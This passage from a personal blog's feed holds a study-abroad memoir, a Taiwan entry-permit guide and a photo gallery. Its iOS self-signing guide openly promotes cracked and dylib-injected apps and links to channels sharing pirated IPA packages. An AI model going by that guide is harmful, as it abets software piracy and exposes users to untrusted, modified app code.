&lt;p&gt;那个时候就已经有点想去美国读 Master 的想法，但是也还没有任何行动。后来，国内的疫情越来越严重，连着就是好几年，我人生中的第一份工作都是远程入职、远程办公和远程离职的，因为疫情的原因，我甚至没有去过公司，我不知道公司的办公环境是怎么样的，我也没有领取到实体的工卡，本来还想着离职前可以拍照做个纪念。21 年的时候就开始有很多互联网公司裁员，找工作难的新闻。也就是那个时候，我开始决定去美国，当时看来美国的就业环境比国内还是好很多的。于是那年的国庆过后，和爸妈商量之后，我找了留学中介，报了语言培训班。&lt;/p&gt;
&lt;h2&gt;申请前的准备&lt;/h2&gt;
&lt;p&gt;我记得应该是 11 月，我开始学习 TOEFL。因为家在浙江，但是学校在上海。培训的机构我又选择了在杭州，那个时候就是每周末上海-杭州来回奔波。周末几乎是没有休息的时间，好在是大三了，课程不是很多。暑假我又开始连着上课，一个星期只有一天的休息时间。差不多在 23 年 4 月份左右，我准备好了 TOEFL 和 GRE，接下来就是一些文书、成绩单和推荐信的准备。美国留学申请是最繁琐的，需要的材料非常多。虽然说找了中介，但是中介也就是解答我的一些疑问，以及帮忙规划申请的学校和提供文书，剩下的都是我自己操作的，包括上传资料，填写信息，递交申请等等。不过好在这一套流程下来，我也熟悉了美国研究生申请。&lt;/p&gt;
&lt;p&gt;在找中介的之后，其实我就没有多想，没有考虑美国以外的国家。原因主要是我当时的决定就是想读完研究生留在当地的国家工作，至少是工作几年，积累一些海外的工作经验，刚好也锻炼一下自己口语能力。所以，英国和澳洲就基本排除了，英国几乎拿不到工签，澳洲需要 2 年以上的项目才有可能拿工签，而计算机研究生的项目基本上都在 1.5 年左右。我好像没什么别的选择，唯一的选择就是美国，美国最坏的打算就是抽不到 H1B，也至少可以用 CPT 实习和 OPT 的三年全职工作。&lt;/p&gt;
&lt;h2&gt;开始申请&lt;/h2&gt;
&lt;p&gt;我差不多从 22 年 11 月开始陆续递交申请，直到 23 年的 2 月份左右递交了所有的申请，一共是 11 个项目。最终收到 Offer 的一共是 4 个项目。在写这篇文章的时候，回想起来还是有些后悔，比如像 CMU 我当时压根就没有申请。 看到大佬 &lt;a href=&quot;https://halfrost.com/halfrost_2021/&quot;&gt;halfrost&lt;/a&gt; 的这篇文章的时候，其实我的申请已经结束了，很多学校的申请截止日也已经过了。我当时申请的时候，说实话有些头铁，我只申请 CS 专业，任何别的例如 CE、EE 之类的专业我一律不申请。导致我最后收到的 Offer 也不是很多，如果再让我重来一次的话，我可能会选择申请 CMU 的冷门一些的专业，或许会有希望，就当是买个彩票吧。&lt;/p&gt;
&lt;h2&gt;选择 Offer&lt;/h2&gt;
&lt;p&gt;最先收到 Offer 的学校是 NEU，NEU 对找工作来说确实是非常好的选择，有 Co-op 项目可以有机会去一些大公司实习，而且地理位置也非常好，可以选择 波士顿、圣何塞和西雅图。后两个校区简直就是互联网公司的聚集地。但是最终我还是决定了前往宾州去 PITT，原因主要是这个学校的世界排名还算是不错，另外这个地区相对比较安全，家人也会更放心一些。在去美国，我没去过国外，去过最远的地方也就是香港了。&lt;/p&gt;
&lt;h2&gt;出发前的准备&lt;/h2&gt;
&lt;p&gt;出发前最关键的是美国签证，因为是 STEM 专业，又是 MSCS，基本上被 Check 的概率是 100%。有好朋友提前在上海预约了签证，我还没预约他就已经被 Check 了，于是我就决定避开中国大陆的美国领事馆，我爬了一下 &lt;a href=&quot;https://travel.state.gov&quot;&gt;https://travel.state.gov&lt;/a&gt; 的数据，看到离中国大陆最近的是泰国曼谷、日本东京或者中国香港。最终我选择了中国香港，第一是因为港澳通行证签注非常容易，第二是因为我去过几次香港，对香港还是比较熟悉。在小红书做了一些功课之后，就买了从 上海浦东飞往香港赤𫚭角机场 的机票。具体 &lt;a href=&quot;https://missuo.me/posts/hongkong-us-visa/&quot;&gt;香港办理美国签证&lt;/a&gt; 的过程我有写过一篇文章分享。很顺利，当天面签，第二天下午取回护照。&lt;/p&gt;
&lt;p&gt;除此之外，还有准备国际旅行的体检，由于当时出发前时间紧迫，我选择了江苏省苏州市的卫生旅行中心体检，因为我是五年的美国签证，体检是完全免费的，但是学校要求的疫苗注射和测抗体是需要自费的。（其实体检和疫苗可以不准备，实际上海关检查体检的概率比彩票中头奖还要低，另外学校要求的疫苗其实可以在抵达美国之后去校医院免费注射）&lt;/p&gt;
&lt;p&gt;最后就是和家人和朋友告别，因为时间不多，很多朋友甚至都没有来得及见面。我在前往美国之前去了一趟新西兰奥克兰，和最好的朋友聊了很多。&lt;/p&gt;
&lt;h2&gt;出发&lt;/h2&gt;
&lt;p&gt;我的机票是从上海浦东飞往新西兰奥克兰，再从新西兰奥克兰飞往美国洛杉机，制定这样的行程一方面是机票真的很便宜，两趟行程加起来大概 6500CNY，有同学从埃塞俄比亚和菲律宾等地中转都要 1 万以上，另一方面是想在去美国之前见一下朋友。从上海浦东出发的时候，和朋友在上海吃了一顿晚饭，然后朋友开车送我去浦东机场，最后在安检处告别。到达奥克兰国际的时候是个雨天，因为上海是夏天，而南半球是冬天，非常冷。朋友来机场接我，给我买了好吃的甜甜圈，还给我送了一束花。因为疫情封城，以及后来她到了新西兰上学，过去的差不多两年的时间我们都没有见面。到达奥克兰的时候大概是傍晚六点左右，后来我们一起去吃饭，刚好她的朋友是在奥克兰做开发的，我们聊了很多。大概总结一下，就是奥克兰这边开发的岗位其实没有那么多，但是工资和待遇还是非常不错。差不多有 30-40NZD/h，并且可以 Work From Home，其实那个时候还是有些后悔，当初压根就没考虑新西兰。在新西兰一共玩了差不多四五天的时间，物价不低（和美国差不多），特别是油价非常贵（比美国贵），生活节奏比较慢，没有那么卷，挺适合养老。奥克兰这个城市的氛围其实很好，他们没有夜生活，没看到中国的酒吧 KTV 之类的。差不多到晚上 9-10 点，市中心的街道上就几乎已经没人了。&lt;/p&gt;
&lt;p&gt;虽然没有体验很长的时间，但是给我的感觉还是挺好的，至少会比国内舒服很多。从朋友那边了解到，移民政策也非常友好，基本上读完研究生找到专业对口的工作，一年之后就可以拿到永居。而且最神奇的是这个国家拿到永居似乎可以长期不在新西兰。&lt;/p&gt;
&lt;h2&gt;抵达美国&lt;/h2&gt;
&lt;p&gt;入境美国过海关非常顺利，没有进小黑屋。美国的入境也是非常随意，过完海关直接去取行李就可以出机场了，也不用安检。在尔湾待了一晚上，第二天就前往匹兹堡了。因为到洛杉机是和朋友一起的，接着他就飞往佛州了，而我第二天飞往宾州。到达宾州之后，办理了公寓的入住，准备了一些家具之类的生活必需品，就等待开学。开学前参加了学院和 CS 的 Orientation 活动。&lt;/p&gt;
&lt;h2&gt;开学之后&lt;/h2&gt;
&lt;p&gt;截止到目前，上了两个月不到的课，我仔细算了一下，按照目前的进度每学期上 4 门课，每门课是 3 学分，项目一共需要完成 30 学分，也就是说一共要上 10 门课。差不多就是两个半学期就毕业了。23 年秋季，24 年春季，再加上 24 年夏季或者 24 年秋季，差不多就是一年多一点点的时间就毕业了。学期的设置是 23 年秋季从 8 月底开学到 12 月中旬开始放假，24 年春季的学期从 1 月头开学到 4 月中旬开始放假，也就是说暑假是从 4 月中旬放到 8 月底，大概有满满的四个月的时间，而这四个月就是暑期实习。从 23 年的 9 月左右开始各大公司就开始要求投简历了，接下来经过一轮简历的筛选可能就要面临实习的面试了，仔细算算就是落地一个月左右的时间就要开始面临找工作的事情了，而三年之后的美国已经完全不如三年前我在 Clubhouse 上聊的那样，Amazon 开始裁员，各大公司都开始裁员，随着毕业生越来越多，岗位越来越少，现在进入 Amazon 已经是不那么容易的一件事了。再加上你只有很短的时间准备，要开始准备全英文的算法练习，以及口语能力的考验，这似乎就是摆在眼前的很尖锐的问题。当然，如果想摆烂的话，毕业直接回国其实也是一种选择，但是对于我来说，如果毕业回国工作的话，可能我就不会来美国了。&lt;/p&gt;
&lt;p&gt;最近有和在英国和澳洲的同学聊起这个话题，因为我们是同一届（23 Fall）出去的，他们似乎都不需要担心找工作的问题，因为本来也不会有工签。对我自己目前的情况做个总结，就是还是准备的太晚，或者说准备的太少，应该从大二或者大一就开始准备，这样可以有很多的时间在国内提前准备美国实习面试找工作相关的东西。另外，陆本美硕会比美本美硕的学生吃亏很多，如果美本期间在一些大厂有过实习的话，接下来基本上是比较顺利的。&lt;/p&gt;
&lt;h2&gt;未来的规划&lt;/h2&gt;
&lt;p&gt;有想过很多可能性，来美国之前就有过一些规划，但是现实太残酷，甚至都不敢多想。短期的目标就是把这学期的课上好，努力刷题准备面试，暑假找到实习工作。长期的目标就是实习能收到 Return Offer，雇主能 Sponsor 绿卡，H1B 能抽中，最后就是拿到绿卡。&lt;/p&gt;
</content:encoded></item><item><title>iOS App Self-Signing and Multi-Opening</title><link>https://missuo.me/posts/sign-ios-app/</link><guid isPermaLink="true">https://missuo.me/posts/sign-ios-app/</guid><description>A comprehensive guide to iOS app self-signing for multi-opening apps like WeChat and installing modified apps, covering certificate types, signing tools like 全能签, and software sources for IPA files.</description><pubDate>Fri, 29 Sep 2023 06:53:12 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;最近好像很多人对这个很感兴趣，我就简单介绍一下。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;自签名有什么用&lt;/h2&gt;
&lt;p&gt;iOS 本身不支持多开，比如微信你只能同时登录一个，不像安卓。所以非常的不方便，自签名就可以实现双开，甚至是多开。&lt;/p&gt;
&lt;p&gt;iOS 的 App 正常情况下只能通过 App Store 下载，有些好用的 App 价格又非常贵，而自签名可以直接安装破解版 App。比如 X(Twitter)、Instagram 这些去广告，微信防撤回等等。我就不一一列举了，能实现的功能非常多且强大。&lt;/p&gt;
&lt;p&gt;简单说，就是多开和破解。&lt;/p&gt;
&lt;h2&gt;准备工作&lt;/h2&gt;
&lt;p&gt;签名的时候需要开发者证书，证书主要分为两大类，企业证书和个人证书，但是企业证书一般很难搞到，所以本文介绍的是个人证书。&lt;/p&gt;
&lt;p&gt;获取个人证书之前，你需要知道你设备的 &lt;strong&gt;UDID&lt;/strong&gt;，开发者需要将你的设备添加到测试设备中。每个开发者一共可以添加 100 台设备。你可以自行某宝或者找别的路子购买，售价大概在 40-100 不等一年。&lt;/p&gt;
&lt;p&gt;购买证书需要提供 &lt;strong&gt;UDID&lt;/strong&gt;，这个编号不会因为你刷机重装系统而改变。获取的方式，可以点 &lt;a href=&quot;https://www.pgyer.com/tools/udid&quot;&gt;这个链接&lt;/a&gt;，需要安装一个描述文件。获取那一串字符串之后，记得保存一下。然后就可以删除这个工具的主屏幕图标和描述文件，之后不再需要用到。&lt;/p&gt;
&lt;h2&gt;证书&lt;/h2&gt;
&lt;p&gt;证书包含以下两个文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;xxxx.p12
xxxx.mobileprovision
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一般的证书签发的时间为一年。你买到的证书一般是不满一年的，因为不是实时生成的，这是很正常的。建议从靠谱的来源购买证书，因为如果一年之后到期，如果用同一个开发者的证书，可以直接覆盖安装，会保留 App 的数据，比如微信的聊天记录。如果使用不同开发者的证书无法覆盖安装，可能会丢失 App 数据。&lt;/p&gt;
&lt;h2&gt;签名&lt;/h2&gt;
&lt;p&gt;主流的签名工具，主要有 &lt;strong&gt;&lt;a href=&quot;https://udid.nuosike.cn/sign/&quot;&gt;全能签&lt;/a&gt;&lt;/strong&gt; 和 &lt;strong&gt;&lt;a href=&quot;https://esign.yyyue.xyz/&quot;&gt;轻松签(Esign)&lt;/a&gt;&lt;/strong&gt;，前者功能几乎一样，我个人一直用的 &lt;strong&gt;全能签&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;当然啦，这是手机上的签名工具，你也可以用电脑签名，例如 &lt;a href=&quot;https://dantheman827.github.io/ios-app-signer/&quot;&gt;iOS App Signer&lt;/a&gt;，功能没有手机端强大，例如移除应用跳转这些需要自己改动 .ipa 包。&lt;/p&gt;
&lt;h3&gt;安装全能签&lt;/h3&gt;
&lt;p&gt;请选择 “我有证书|自助安装”，上传 p12 和 mobileprovision 文件，输入 p12 证书的密码。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://r2.uid.ac/files/fuPcXm.png&quot; alt=&quot;fuPcXm&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安装完之后可能会提示无法打开，会引导你到设置里面开启 &lt;strong&gt;开发者模式&lt;/strong&gt;。如果你没有安装全能签，一般情况下从 iOS 16 开始你是看不到 &lt;strong&gt;开发者模式&lt;/strong&gt; 这个选项的。开发者模式在 &lt;strong&gt;设置 - 隐私与安全性&lt;/strong&gt;，划到最底下，你可以看到 &lt;strong&gt;锁定模式&lt;/strong&gt; 和 &lt;strong&gt;开发者模式&lt;/strong&gt;。开启开发者模式之后会重启手机，重启之后点击确认开启即可。&lt;/p&gt;
&lt;h3&gt;使用全能签&lt;/h3&gt;
&lt;p&gt;在使用全能签签名之前，你需要准备 ipa 文件，也就是 App 的包。请确保一定是砸壳包，否则无法签名。一般情况下你拿到的破解的或者多功能的包都是已经砸壳的。首先在全能签中导入你的 p12 证书，再导入 mobileprovision 文件，最后导入你需要签名的 ipa 文件。&lt;/p&gt;
&lt;p&gt;点击你导入的包选择 &lt;strong&gt;签名&lt;/strong&gt;，可以按照我这样设置，一般我会移除手表和插件，并且关闭应用跳转。另外，&lt;strong&gt;移除已有库&lt;/strong&gt; 和 &lt;strong&gt;添加第三方库&lt;/strong&gt; 是用于移除和注入 动态库(.dylib) 的，如果你不知道怎么操作，可以直接跳过，用别人已经注入好的包即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://r2.uid.ac/files/tZdD97.jpg&quot; alt=&quot;tZdD97&quot; /&gt;
&lt;img src=&quot;https://r2.uid.ac/files/wqDW4g.png&quot; alt=&quot;wqDW4g&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在签名时最关键的是 &lt;strong&gt;Bundle Identifier&lt;/strong&gt;，下面主要分两种情况：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;你想要多开，也就是你想要同时使用官方的 App，即从 App Store 下载的版本，又要使用自签名的版本，那么你需要修改 &lt;strong&gt;Bundle Identifier&lt;/strong&gt;。例如微信的 &lt;strong&gt;Bundle ID&lt;/strong&gt; 你可以修改为 &lt;code&gt;me.missuo.xin&lt;/code&gt;。如果你需要多开很多个微信，你分别取名为 &lt;code&gt;me.missuo.xin1&lt;/code&gt;，&lt;code&gt;me.missuo.xin2&lt;/code&gt;，&lt;code&gt;me.missuo.xin3&lt;/code&gt; 等等。&lt;strong&gt;如果你一旦修改了 Bundle ID，你的自签名的 App 一定是没有消息推送的。&lt;/strong&gt; APNs 服务器在推送消息的时候需要验证 &lt;strong&gt;Bundle ID&lt;/strong&gt;，如果改过了就会推送失败。这个问题和证书没有任何关系。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果你想要消息推送很简单，仅需要卸载 App Store 的版本，在签名的时候不要改动包的 &lt;code&gt;Bundle ID&lt;/code&gt;，你可以和官方版本一样正常的收到推送。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;签完名之后，在 &lt;strong&gt;已签名&lt;/strong&gt; 中点击你要安装的 App，点击安装即可。&lt;/p&gt;
&lt;h2&gt;软件源&lt;/h2&gt;
&lt;p&gt;软件源鱼龙混杂，有各种各样的，我这边就随便分享几个我自己在用的觉得还不错的分享 ipa 的 Telegram 频道和订阅源。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://repo.owo.network&quot;&gt;OwO Network&lt;/a&gt;：我自己维护的软件源。&lt;a href=&quot;https://t.me/missuo_ipa&quot;&gt;订阅 TG 频道&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://t.me/gekuGou&quot;&gt;iOS 破解软件分享&lt;/a&gt;：破解的 App 会比较多。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://t.me/dengbai&quot;&gt;登拜科技&lt;/a&gt;：更新的比较快，App 也不少。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://t.me/iosfulishare&quot;&gt;苓妹妹 ios 资源分享&lt;/a&gt;：个人不常用，会注入频道的动态库，不太喜欢。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://t.me/iosapp520&quot;&gt;ios 鸡神-Crack 频道&lt;/a&gt;：破解 App 也不少。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://repository.apptesters.org&quot;&gt;App Tester&lt;/a&gt;：个人最喜欢的国外软件源，Twitter 之类的应用更新很快且纯净，且没有多余的注入。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;以上的软件源都是免费的且与本人没有任何的合作关系，如果你使用了这些软件源的包产生的任何后果自负。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;个人使用习惯&lt;/h2&gt;
&lt;p&gt;我目前在使用的自签名软件也不多：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;微信：多开，也就是说我把 &lt;strong&gt;Bundle ID&lt;/strong&gt; 改掉了，没有消息通知，但是我也不是很在意，多开上登录的是小号，平时找我的人不多。动态库都是我自己注入的，我也改动了一下主题。每个版本我都会自己注入并且会分享在 &lt;a href=&quot;https://github.com/missuo/Inject-IPA/releases&quot;&gt;GitHub&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;X(Twitter)：官替，卸载了官方版本，和官方一样正常消息推送，使用 App Tester 的包（注入了 BHTwitter），没有广告还有一些功能非常不错。&lt;/li&gt;
&lt;li&gt;Instagram：官替，卸载了官方版本，和官方一样正常消息推送，使用 App Tester 的包（注入了 Rocket 和 BHInsta），没有广告，没有建议的内容，可以随意批量下载照片和视频等等。&lt;/li&gt;
&lt;li&gt;NOMO RAW：官替，官方版本太贵了，我直接用的破解包。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上软件我使用的包都是和 App Store 版本号一致的。因此不用担心新功能无法体验的问题。另外我使用的签名证书是我自己的开发者证书（花了 99 美元/年开通了 Apple Developer Plan）。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;总之呢，自签名的玩法还是有很多的，比如注入动态库这些需要你自行研究，注入的教程你可以查看 &lt;a href=&quot;https://github.com/missuo/Inject-IPA&quot;&gt;我的 GitHub&lt;/a&gt;，有一些简单的介绍。除此之外，使用自签名的 App 可能会存在封号等问题，请谨慎使用，新注册的微信不建议使用。如果有什么别的疑问，欢迎在评论区讨论。&lt;/p&gt;
</content:encoded></item><item><title>Taiwan Entry Permit Application</title><link>https://missuo.me/posts/taiwan-visa/</link><guid isPermaLink="true">https://missuo.me/posts/taiwan-visa/</guid><description>A guide to obtaining a Taiwan Entry Permit for mainland Chinese students studying abroad, covering eligibility requirements, required documents, and the transit strategy via third countries to bypass PRC exit controls.</description><pubDate>Fri, 29 Sep 2023 00:23:42 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;很想去宝岛台湾旅行一下，一直都没有机会。过去的几年，认识了好多来自台湾的朋友，都非常友善，想着能见个面就好了。这几年大陆去台湾只能通过医美或者商务的方式，得找黄牛，价格不菲。偶然看到 &lt;a href=&quot;https://x.com/turingou/status/1699410270492475748&quot;&gt;郭宇&lt;/a&gt; 拿到了入台证，查了一下资料，发现好像我自己也符合条件。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;如何去台湾&lt;/h2&gt;
&lt;p&gt;台湾方应该只需要查看 &lt;strong&gt;大陆护照&lt;/strong&gt; 和 &lt;strong&gt;入台证&lt;/strong&gt;。而大陆方在你出境的时候，例如在浦东机场海关的地方，如果你的机票前往台湾，需要出示 &lt;strong&gt;大陆居民往来台湾通行证&lt;/strong&gt;，但是由于没有 &lt;strong&gt;有效签注&lt;/strong&gt; 不会放行。关于 &lt;strong&gt;大陆居民往来台湾通行证&lt;/strong&gt; 我特地去当地的 &lt;strong&gt;出入境管理局&lt;/strong&gt; 问过，空卡可以申请，但是什么时候可以签注暂没有确切时间。&lt;/p&gt;
&lt;p&gt;总结一下，如果你从中国大陆出发前往台湾，由于你没有办法解决 &lt;strong&gt;台湾签注&lt;/strong&gt; 的问题，因此你唯一的选择是前往第三国中转，例如 中国香港、中国澳门、泰国、济州岛等等周边的国家或地区。举个例子，你出香港的时候，只需要提供港澳通行证，并不会检查你的 &lt;strong&gt;大陆居民往来台湾通行证&lt;/strong&gt;，就顺利地绕过啦！&lt;/p&gt;
&lt;h2&gt;入台证的问题&lt;/h2&gt;
&lt;p&gt;核心的问题是，目前台湾政府不向大陆居民核发 &lt;strong&gt;入台证&lt;/strong&gt;。但是符合以下条件可以申请 &lt;strong&gt;入台证&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;申請人必須符合下列資格之一：

1. 赴國外或香港、澳門留學生
2. 旅居國外或香港、澳門取得當地永久居留權
3. 旅居國外或香港、澳門1年以上且領有工作證明
4. 旅居國外或香港、澳門取得當地依親居留權且有財力證明
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上四个条件，简单翻译一下就是持有其他国家绿卡，工作满一年或者留学生。我满足的条件的是第一项。&lt;/p&gt;
&lt;h2&gt;准备的材料（留学生为例）&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;大陆护照&lt;/li&gt;
&lt;li&gt;留学签注&lt;/li&gt;
&lt;li&gt;最近三个月内的在读证明&lt;/li&gt;
&lt;li&gt;证明居住地址的驾照、水电费账单、银行账户或网购订单&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;处理时间&lt;/h2&gt;
&lt;p&gt;一般情况下是今天申请，明天审核。我实际的处理时间大概在 18 小时左右。&lt;strong&gt;三个月单次&lt;/strong&gt; 和 &lt;strong&gt;一年多次&lt;/strong&gt; 的申请费 600TWD 和 1000TWD。但是 &lt;strong&gt;驻纽约台北经济文化办事处&lt;/strong&gt; 给我的回复是目前仅提供 &lt;strong&gt;三个月单次&lt;/strong&gt;，不提供 &lt;strong&gt;一年多次&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://r2.uid.ac/files/EWEa8v.jpg&quot; alt=&quot;EWEa8v&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Scenery of downtown Pittsburgh</title><link>https://missuo.me/posts/pittsburgh-downtown/</link><guid isPermaLink="true">https://missuo.me/posts/pittsburgh-downtown/</guid><description>A photo gallery capturing the downtown Pittsburgh cityscape during a weekend visit.</description><pubDate>Sat, 09 Sep 2023 06:23:38 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;周末去了城里，拍了一些照片。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/tGv5jW.JPG&quot; alt=&quot;tGv5jW&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/HTFXCf.JPG&quot; alt=&quot;HTFXCf&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/KPuG5s.JPG&quot; alt=&quot;KPuG5s&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/HkEjdj.JPG&quot; alt=&quot;HkEjdj&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/4UsEO6.JPG&quot; alt=&quot;4UsEO6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/hyhuII.JPG&quot; alt=&quot;hyhuII&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/vFYzDH.JPG&quot; alt=&quot;vFYzDH&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/NJxQRp.JPG&quot; alt=&quot;NJxQRp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/3iEA4k.JPG&quot; alt=&quot;3iEA4k&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/hyRy3O.JPG&quot; alt=&quot;hyRy3O&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/Iq0kUb.JPG&quot; alt=&quot;Iq0kUb&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/T2vlqM.JPG&quot; alt=&quot;T2vlqM&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/XEjyVl.JPG&quot; alt=&quot;XEjyVl&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/bXUDlV.JPG&quot; alt=&quot;bXUDlV&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/DleHpY.JPG&quot; alt=&quot;DleHpY&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/a5RvZr.JPG&quot; alt=&quot;a5RvZr&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/ssELx1.JPG&quot; alt=&quot;ssELx1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/IbLmDm.JPG&quot; alt=&quot;IbLmDm&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/MW955j.JPG&quot; alt=&quot;MW955j&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/TL2QNk.JPG&quot; alt=&quot;TL2QNk&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/ZVgoQx.JPG&quot; alt=&quot;ZVgoQx&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/jlpQfV.JPG&quot; alt=&quot;jlpQfV&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/eVNaud.JPG&quot; alt=&quot;eVNaud&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/qmcEwm.JPG&quot; alt=&quot;qmcEwm&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/1933To.JPG&quot; alt=&quot;1933To&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/thNg78.JPG&quot; alt=&quot;thNg78&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/nLKP2n.JPG&quot; alt=&quot;nLKP2n&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/UMBgkk.JPG&quot; alt=&quot;UMBgkk&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/Te1Vp6.JPG&quot; alt=&quot;Te1Vp6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/j3MjuX.JPG&quot; alt=&quot;j3MjuX&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/lyE9eb.JPG&quot; alt=&quot;lyE9eb&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/Mc6aKT.JPG&quot; alt=&quot;Mc6aKT&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/zgiM4P.JPG&quot; alt=&quot;zgiM4P&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/DgNh14.JPG&quot; alt=&quot;DgNh14&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/iejhL1.JPG&quot; alt=&quot;iejhL1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/rMS8aH.JPG&quot; alt=&quot;rMS8aH&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/kaO7U8.JPG&quot; alt=&quot;kaO7U8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/IFjIvA.JPG&quot; alt=&quot;IFjIvA&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/YbkohS.JPG&quot; alt=&quot;YbkohS&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/GLRe2J.JPG&quot; alt=&quot;GLRe2J&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/pRh4Ez.JPG&quot; alt=&quot;pRh4Ez&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/KMCt7I.JPG&quot; alt=&quot;KMCt7I&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/DeRW0X.JPG&quot; alt=&quot;DeRW0X&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/gMdHcl.JPG&quot; alt=&quot;gMdHcl&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/rGLZdm.JPG&quot; alt=&quot;rGLZdm&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/ZvSnAk.JPG&quot; alt=&quot;ZvSnAk&quot; /&gt;&lt;/p&gt;
